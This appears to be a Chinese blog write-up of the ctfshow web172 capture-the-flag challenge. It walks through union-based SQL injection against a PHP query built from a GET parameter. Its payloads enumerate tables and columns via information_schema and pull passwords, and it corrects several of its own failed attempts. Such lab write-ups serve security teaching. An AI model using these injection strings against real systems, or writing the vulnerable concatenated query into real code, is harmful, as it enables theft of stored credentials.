ctfshow-web入门-web172

php 复制代码
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

联合查询

该题目与上一个题目不是同一个类型,该题目需要进行sql联合查询。

第一步:确定sql注入的类型。1' or 1=1 确定为字符型(根据上面的php代码也能确定)

第二步:使用order by确定列数 1' order by 3 --+

第三步:测试回显位:1' union select 1,2 --+

第四步:使用database(),查询数据库 1' union select 1, database() --+

第五步:查询表名

x union select 1,group_concat(table_name),x from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+

第一个x代表是需要确定哪种注入类型。

第二个x代表是需要确定是有几个列,并且确定回显字段。

第六步:查询字段名:

x union select 1,group_concat(column_name),x from information_schema.columns where table_schema=database()&&table_name="查询到的表名" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctfshow_web"&&table_name="ctfshow_user2" --+

两种方法均无法查询出字段名,因为语法出现问题。应该使用下列查询语句:加个括号

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2") --+

仍然不正确,在语句中不需要数据库的信息。

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2") --+

所以最开始语句的问题是多加了数据库的信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2" --+

第七步:查询字段值:

1' union select 1,group_concat(password) from ctfshow_user2 --+

1' union select 1,password from ctfshow_user2 --+

以上问题错误的原因:该题目只有一个数据库,因此在查询字段时不需要指定数据库名。

相关推荐
qq_12498707533 小时前
基于Spring Boot的“味蕾探索”线上零食购物平台的设计与实现(源码+论文+部署+安装)
java·前端·数据库·spring boot·后端·小程序
江上月5133 小时前
JMeter中级指南:从数据提取到断言校验全流程掌握
java·前端·数据库
晨旭缘3 小时前
零基础后端入门:JDK21 + PostgreSQL+Java项目
java·数据库·postgresql
萧曵 丶3 小时前
MySQL InnoDB 实现 MVCC 原理
数据库·mysql·mvcc
ss2733 小时前
ruoyi 新增每页分页条数
java·数据库·mybatis
万粉变现经纪人3 小时前
如何解决 pip install mysqlclient 报错 ‘mysql_config’ not found 问题
数据库·python·mysql·pycharm·bug·pandas·pip
lkbhua莱克瓦243 小时前
进阶-SQL优化
java·数据库·sql·mysql·oracle
石小千3 小时前
Myql binlog反向解析成sql
数据库·sql
alonewolf_994 小时前
MySQL 8.0 主从复制原理深度剖析与实战全解(异步、半同步、GTID、MGR)
数据库·mysql·adb
八九燕来4 小时前
django + drf 多表关联场景下的序列化器选型与实现逻辑
数据库·django·sqlite